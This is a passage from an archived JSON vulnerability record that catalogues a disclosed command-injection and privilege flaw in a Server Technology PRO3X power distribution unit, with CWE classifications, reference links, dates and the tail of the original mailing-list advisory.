https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "CWE-269",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-798",
              "description": "CWE-798",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/79"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/79"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/servertech-pro3x-port-mux-command-injection"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/79"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Server Technology PRO3X PDU 030600 port_mux listener program override to root command execution (7.2)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0431",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/79",
            "automated": true,
            "contentSha256": "9914d9e5c60c365c9e58406f57ddde29b4945a74adbb372e4574a6056b52e5be",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/79",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T04:55:27Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0431"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}